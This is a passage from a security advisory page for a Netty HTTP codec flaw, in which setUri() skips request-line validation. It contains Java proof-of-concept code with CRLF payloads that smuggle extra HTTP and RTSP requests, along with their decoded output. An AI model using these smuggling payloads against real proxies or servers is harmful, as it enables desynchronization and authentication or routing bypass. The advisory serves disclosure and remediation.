  • The request object is created first and later modified through setUri()
  • The value passed into setUri() is attacker-controlled or attacker-influenced
  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

  • perform HTTP request smuggling
  • trigger proxy/backend desynchronization
  • inject additional requests toward internal APIs
  • confuse request boundaries and bypass assumptions around authentication or routing
  • inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

  • verify that setUri() rejects CRLF-containing input after object construction
  • verify that DefaultFullHttpRequest.setUri() is blocked as well
  • verify that spaces, \r, \n, and request-smuggling payloads are rejected
  • verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses

Affected Area

  • netty-codec-http
  • io.netty.handler.codec.http.DefaultHttpRequest
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • io.netty.handler.codec.http.HttpRequestEncoder
  • io.netty.handler.codec.rtsp.RtspEncoder
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.